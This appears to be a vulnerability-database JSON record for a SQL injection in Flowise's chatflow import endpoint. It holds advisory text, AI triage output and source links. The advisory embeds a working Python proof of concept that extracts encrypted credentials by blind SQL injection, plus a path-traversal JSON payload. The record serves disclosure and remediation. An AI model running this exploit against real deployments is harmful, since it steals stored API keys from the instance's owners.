{"id":"CVE-2025-71332","kind":"vulnerability","aliases":["CVE-2025-71332","GHSA-9c4c-g95m-c8cp"],"related":[],"title":"FlowiseDB vulnerable to SQL Injection by authenticated users","description":"### Summary\nimport functions are vulnerable.\n* [importChatflows](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/chatflows/index.ts#L219)\n* [importTools](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/tools/index.ts#L85)\n* [importVariables](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/variables/index.ts)\n\n### Details\n**Authenticated user** can call importChatflows API, import json file such as `AllChatflows.json`.\nbut Due to insufficient validation to chatflow.id in importChatflows API, 2 issues arise.\n\n**Issue 1 (Bug Type)**\n1. Malicious user creates `AllChatflows.json` file by adding `../` and arbitrary path to the chatflow.id of the json file.\n    ```json\n    {\n      \"Chatflows\": [\n        {\n          \"id\": \"../../../../../../apikey\",\n          \"name\": \"clickme\",\n          \"flowData\": \"{}\"\n        }\n      ]\n    }\n    ```\n2. Victim download this file, and import this to flowise.\n3. When victim click created chatflow, victim access to flowise:3000/canvas/{chatflow.id}.\n\n**Issue 2 (Vulnerability Type)**\nimportChatflows API use unsafe SQL Query.\n\n```javascript\n// packages/server/src/services/chatflows/index.ts\nconst importChatflows = async (newChatflows: Partial<ChatFlow>[]): Promise<any> => {\n        try {\n        const appServer = getRunningExpressApp()\n\n        // step 1 - check whether file chatflows array is zero\n        if (newChatflows.length == 0) return\n\n        // step 2 - check whether ids are duplicate in database\n        let ids = '('\n        let count: number = 0\n        const lastCount = newChatflows.length - 1\n        newChatflows.forEach((newChatflow) => {\n            ids += `'${newChatflow.id}'`           // <===== user input\n            if (lastCount != count) ids += ','\n            if (lastCount == count) ids += ')'\n            count += 1\n        })\n\n        const selectResponse = await appServer.AppDataSource.getRepository(ChatFlow)\n            .createQueryBuilder('cf')\n            .select('cf.id')\n            .where(`cf.id IN ${ids}`)                   // <===== here\n            .getMany()\n        const foundIds = selectResponse.map((response) => {\n            return response.id\n        })\n```\nIt changes like `SELECT cf.id FROM cf WHERE cf.id IN ('{USER-INPUT...}')` by the code above.\nWhen  `') {Malicious SQL Query} --` is passed to newChatflow.id, SQL Injection occurs.\n\n### PoC\n```python\nimport argparse\nimport requests\n\n\ndef import_chatflows(\n    url: str,\n    token: str,\n    payload: dict\n):\n    response = requests.post(\n        f'{url}/api/v1/chatflows/importchatflows',\n        headers={\n            'Authorization': f'Bearer {token}'\n            # 'Authorization': f'Basic {token}'\n        },\n        json=payload\n    )\n\n    return response.json()\n\n\ndef import_normal_data(\n    api_url: str,\n    token: str,\n    normal_data: str\n):\n    data_id = 'aaaaaa'\n\n    payload = {\n        \"Chatflows\": [\n            {\n                \"id\": data_id,\n                \"name\": normal_data,\n                \"flowData\": \"{}\"\n            }\n        ]\n    }\n\n    import_chatflows(\n        url=api_url,\n        token=token,\n        payload=payload\n    )\n    return data_id\n\n\ndef get_character(\n    api_url: str,\n    token: str,\n    data_id: str,\n    column_name: str,\n    index: int\n):\n    injection_query = f'(SELECT ascii(substr({column_name},{index},1)) FROM credential limit 0,1)'\n\n    def create_payload(\n        c: int\n    ):\n        return f\"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- \"\n\n    chatflows_json = {\n        \"Chatflows\": [\n            {\n                \"id\": \"\",\n                \"name\": data_id,\n                \"flowData\": \"{}\"\n            }\n        ]\n    }\n\n    bitbox = [\n        64, 32, 16, 8, 4, 2, 1\n    ]\n    character = 0\n    for bit in bitbox:\n        payload = create_payload(c=character + bit)\n        chatflows_json['Chatflows'][0]['id'] = payload\n\n        res = import_chatflows(\n            url=api_url,\n            token=token,\n            payload=chatflows_json\n        )\n        if 'DOUBLE value is out of range' in res['message']:\n            # character is more then bit\n            character += bit\n        else:\n            # character is less then bit\n            character += 0\n\n    return chr(character)\n\n\ndef get_length(\n    api_url: str,\n    token: str,\n    data_id: str,\n    column_name: str\n):\n    injection_query = f'(SELECT length({column_name}) FROM credential limit 0,1)'\n\n    def create_payload(\n        c: int\n    ):\n        return f\"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- \"\n\n    chatflows_json = {\n        \"Chatflows\": [\n            {\n                \"id\": \"\",\n                \"name\": data_id,\n                \"flowData\": \"{}\"\n            }\n        ]\n    }\n\n    column_len = 0\n    bitbox = [\n        256, 128, 64, 32, 16, 8, 4, 2, 1\n    ]\n    for bit in bitbox:\n        payload = create_payload(c=column_len + bit)\n        chatflows_json['Chatflows'][0]['id'] = payload\n\n        res = import_chatflows(\n            url=api_url,\n            token=token,\n            payload=chatflows_json\n        )\n        if 'DOUBLE value is out of range' in res['message']:\n            # column_len is more then bit\n            column_len += bit\n        else:\n            # column_len is less then bit\n            column_len += 0\n\n    return column_len\n\n\ndef main(\n    url: str,\n    token: str\n):\n    api_url = url\n\n    column_box = [\n        'credentialName',\n        'encryptedData'\n    ]\n\n    data_id = import_normal_data(\n        api_url=api_url,\n        token=token,\n        normal_data='flow01'\n    )\n\n    for column_name in column_box:\n        column_len = get_length(\n            api_url=api_url,\n            token=token,\n            data_id=data_id,\n            column_name=column_name\n        )\n\n        print(f'[+] {column_name} length is {column_len}')\n\n        result = ''\n        for i in range(column_len):\n            result += get_character(\n                api_url=api_url,\n                token=token,\n                data_id=data_id,\n                column_name=column_name,\n                index=i + 1\n            )\n\n        print(f'[+] {column_name}: {result}')\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\n        '--url',\n        type=str,\n        default='http://flowise:3000'\n    )\n    parser.add_argument(\n        '--access',\n        type=str,\n        required=True,\n        help='Get from http://flowise:3000/apikey'\n    )\n\n    m_args = parser.parse_args()\n\n    main(\n        url=m_args.url,\n        token=m_args.access\n    )\n```\n\n**poc results: encryptedData from flowise database credential table was successfully leaked.**\n```\n/app # python ex2.py --url http://flowise:3000 --access \"blahblah~~~\"\n[+] credentialName length is 9\n[+] credentialName: openAIApi\n[+] encryptedData length is 88\n[+] encryptedData: U2FsdGVkX19LlIhbD4M9q9reLWQilBY6ffWo2S9PQ669CP1HpMPa5g1h1rJL0ZK3x0UMsLi/8Pz6TbSFrmIZbg==\n```\n\nIt is recommended to limit all chatflow ids & chat ids to UUID.\n\n### Impact\n* Database leak\n* Lateral Movement","summary":"Flowise's chatflow import builds a SQL query from user-supplied chatflow IDs without escaping them. An authenticated user can use this to read the credential table, including encrypted API keys stored in the database.","severity":"high","cvss":8.8,"epss":0.00516,"exploited":false,"exploited_at":null,"products":[{"name":"flowise","fixed":[],"affected":"<= 2.2.7","ecosystem":"npm"},{"name":"flowiseai flowise","fixed":[],"affected":"<= 2.2.7","ecosystem":"vendor"}],"ecosystems":["npm","vendor"],"tags":["cwe-564","cwe-89","flowise","node","npm","package","self-hosted"],"not_affected_if":["auth-required","managed-hosting","no-untrusted-users"],"how_to_check":"- Check the installed Flowise version with `npm ls flowise` in the deployment directory.\n- Confirm whether the instance is reachable by users who hold a Flowise login.","fix":"- `flowise` versions after `2.2.7` (the sources give 2.2.7 as the last affected version; the fixed version is not stated).","status":"open","published_at":"2025-04-07T18:55:13+00:00","first_seen_at":"2026-11-03T19:55:32+00:00","triaged_at":"2026-11-03T19:55:39+00:00","updated_at":"2026-11-03T20:49:27+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-11-03T19:55:39Z","model":"claude-haiku-5-5","output":{"fix":"- `flowise` versions after `2.2.7` (the sources give 2.2.7 as the last affected version; the fixed version is not stated).","reach":"network","title":"Flowise: SQL injection through chatflow import leaks stored credentials","impact":"high","summary":"Flowise's chatflow import builds a SQL query from user-supplied chatflow IDs without escaping them. An authenticated user can use this to read the credential table, including encrypted API keys stored in the database.","audience":"businesses","category":"package","nicknames":[],"who_cares":["flowise","self-hosted","npm","node"],"confidence":0.8,"fix_status":"available","needs_auth":"yes","worst_case":"authenticated user reads encrypted credentials and API keys from the database","analyst_note":"Confirm the fixed version from the GHSA-9c4c-g95m-c8cp patch link and whether the PoC's data exposure requires anything beyond a standard login.","how_to_check":"- Check the installed Flowise version with `npm ls flowise` in the deployment directory.\n- Confirm whether the instance is reachable by users who hold a Flowise login.","plain_action":"","needs_analyst":true,"not_affected_if":["managed-hosting","auth-required","no-untrusted-users"],"who_is_affected":"Self-hosted Flowise instances where people with a login can import chatflows. The import endpoint builds a SQL query from the chatflow ID field, so any account that can import is in a position to exploit it. Instances where only administrators can log in, or where the service is not reachable from untrusted networks, carry less risk.","user_interaction":"no","needs_special_setup":"no","severity_if_unknown":"high"},"cost_usd":0.000973,"input_tokens":6826,"output_tokens":580,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-2025':10A,18A '-564':24B '-71332':11A,19A '-89':26B '/../../../../../apikey':138C '/api/v1/chatflows/importchatflows':302C '/flowiseai/flowise/blob/main/packages/server/src/services/chatflows/index.ts#l219)':78C '/flowiseai/flowise/blob/main/packages/server/src/services/tools/index.ts#l85)':82C '/flowiseai/flowise/blob/main/packages/server/src/services/variables/index.ts)':86C '0':197C,213C,381C,397C,417C,431C '1':114C,117C,187C,217C,233C,377C,382C,415C '16':411C '2':110C,142C,165C,200C,414C '3':152C '3000/canvas':162C '32':410C '4':413C '64':409C '8':412C '9c4c':14A '9e300':398C,399C 'aaaaaa':330C 'access':159C 'add':124C 'allchatflows.json':99C,121C 'api':64B,93C,109C,169C,320C,343C,355C,438C 'appserv':184C 'appserver.appdatasource.getrepository':237C 'arbitrari':126C 'argpars':286C 'aris':112C 'array':192C 'ascii':372C 'async':178C 'authent':7A,52B,88C 'author':304C,308C 'await':236C 'basic':310C 'bearer':306C 'bit':419C,427C 'bitbox':408C,421C 'bug':115C 'build':38B 'c':386C,396C,425C 'c8cp':16A 'call':91C 'cf':240C,261C 'cf.id':242C,244C,259C,263C 'chang':256C 'charact':354C,416C,426C 'chatflow':36B,46B,136C,157C,191C,238C,291C,332C,341C,400C,402C,428C,430C,436C 'chatflow.id':106C,130C,163C 'check':188C,201C 'click':155C 'clickm':140C 'code':270C 'column':363C,374C 'const':176C,183C,214C,234C,249C 'count':211C,226C,230C,232C 'creat':120C,156C,384C,423C 'createquerybuild':239C 'credenti':60B,379C 'cve':9A,17A 'cwe':23B,25B 'data':319C,326C,328C,334C,338C,350C,360C,390C,405C 'databas':69B,207C 'def':289C,316C,352C,383C 'detail':87C 'dict':297C 'download':144C 'due':101C 'duplic':205C 'encrypt':63B 'escap':49B 'f':300C,305C,309C,370C,389C 'file':96C,122C,134C,146C,190C 'flowdata':141C,339C,407C 'flowis':27B,34B,151C,161C 'flowise':20A,22A 'flowiseai':21A 'flowisedb':1A 'foundid':250C 'function':72C 'g95m':15A 'get':353C 'getmani':248C 'getrunningexpressapp':185C 'ghsa':13A 'ghsa-9c4c-g95m-c8cp':12A 'github.com':77C,81C,85C 'github.com/flowiseai/flowise/blob/main/packages/server/src/services/chatflows/index.ts#l219)':76C 'github.com/flowiseai/flowise/blob/main/packages/server/src/services/tools/index.ts#l85)':80C 'github.com/flowiseai/flowise/blob/main/packages/server/src/services/variables/index.ts)':84C 'header':303C 'host':33B 'id':47B,137C,203C,209C,220C,227C,231C,246C,329C,333C,335C,351C,361C,391C,403C,406C,432C 'import':37B,71C,94C,148C,285C,287C,290C,317C,340C,435C 'importchatflow':75C,92C,108C,168C,177C 'importtool':79C 'importvari':83C 'includ':62B 'index':366C,376C 'inject':5A,281C,368C,394C 'input':223C,267C 'insuffici':103C 'int':367C,387C 'issu':111C,113C,164C 'javascript':174C 'json':95C,133C,135C,312C,401C,429C 'key':65B 'lastcount':215C,225C,229C 'let':208C,210C 'like':257C 'limit':380C 'malici':118C,273C 'name':139C,336C,364C,375C,404C 'newchatflow':179C,219C 'newchatflow.id':221C,279C 'newchatflows.foreach':218C 'newchatflows.length':196C,216C 'node':28B 'normal':318C,325C,337C 'npm':29B 'number':212C 'occur':282C 'packag':30B 'packages/server/src/services/chatflows/index.ts':175C 'partial':180C 'pass':277C 'path':127C 'payload':296C,313C,331C,347C,348C,385C,422C,424C,433C 'poc':283C 'promis':181C 'python':284C 'queri':41B,173C,275C,369C,395C 'read':58B 'request':288C 'requests.post':299C 'res':434C 'respons':252C,298C 'response.id':254C 'response.json':315C 'return':198C,253C,314C,349C,388C 'select':241C,258C,371C 'selectrespons':235C 'selectresponse.map':251C 'self':32B 'self-host':31B 'sql':4A,40B,172C,274C,280C 'step':186C,199C 'store':66B 'str':293C,295C,322C,324C,327C,357C,359C,362C,365C 'substr':373C 'summari':70C 'suppli':45B 'tabl':61B 'token':294C,307C,311C,323C,345C,346C,358C 'tri':182C 'type':116C,167C 'unsaf':171C 'url':292C,301C,321C,342C,344C,356C,437C,439C 'use':55B,170C 'user':8A,44B,53B,89C,119C,222C,266C 'user-input':265C 'user-suppli':43B 'valid':104C 'victim':143C,154C,158C 'vulner':2A,74C,166C 'whether':189C,202C 'without':48B 'zero':194C","nicknames":[],"mitigations":[],"who_affected":"Self-hosted Flowise instances where people with a login can import chatflows. The import endpoint builds a SQL query from the chatflow ID field, so any account that can import is in a position to exploit it. Instances where only administrators can log in, or where the service is not reachable from untrusted networks, carry less risk.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"businesses","plain_action":null,"pkeys":["flowise","flowiseaiflowise"],"ptokens":["flowise","flowiseai"],"labels":["cwe564","cwe89","flowise","high","node","npm","package","selfhosted","vendor"],"campaign_type":null,"first_public_at":"2025-04-07T03:47:37+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-9c4c-g95m-c8cp","url":"https://github.com/advisories/GHSA-9c4c-g95m-c8cp","severity":"high","published_at":"2025-04-07T18:55:13+00:00","modified_at":"2026-11-03T19:53:34+00:00","first_seen_at":"2026-11-03T19:55:32+00:00","fetched_at":"2026-11-03T20:14:39+00:00","note":null},{"source":"nvd","external_id":"CVE-2025-71332","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71332","severity":null,"published_at":"2026-06-24T13:16:30+00:00","modified_at":"2026-10-12T21:10:00+00:00","first_seen_at":"2026-11-03T20:49:27+00:00","fetched_at":"2026-11-03T20:49:27+00:00","note":null}],"documents":[{"id":60336,"url":"https://api.github.com/repos/FlowiseAI/Flowise/security-advisories/GHSA-9c4c-g95m-c8cp","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":60337,"url":"https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-9c4c-g95m-c8cp","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2025-04-07T03:47:37+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":60338,"url":"https://github.com/FlowiseAI/Flowise/pull/4226","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":60631,"url":"https://www.vulncheck.com/advisories/flowise-sql-injection-in-importchatflows-api-via-chatflow-id-parameter","title":"Third-party advisory: www.vulncheck.com","kind":"advisory","source":"nvd","publisher":"research","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Third-party advisory: www.vulncheck.com"}],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}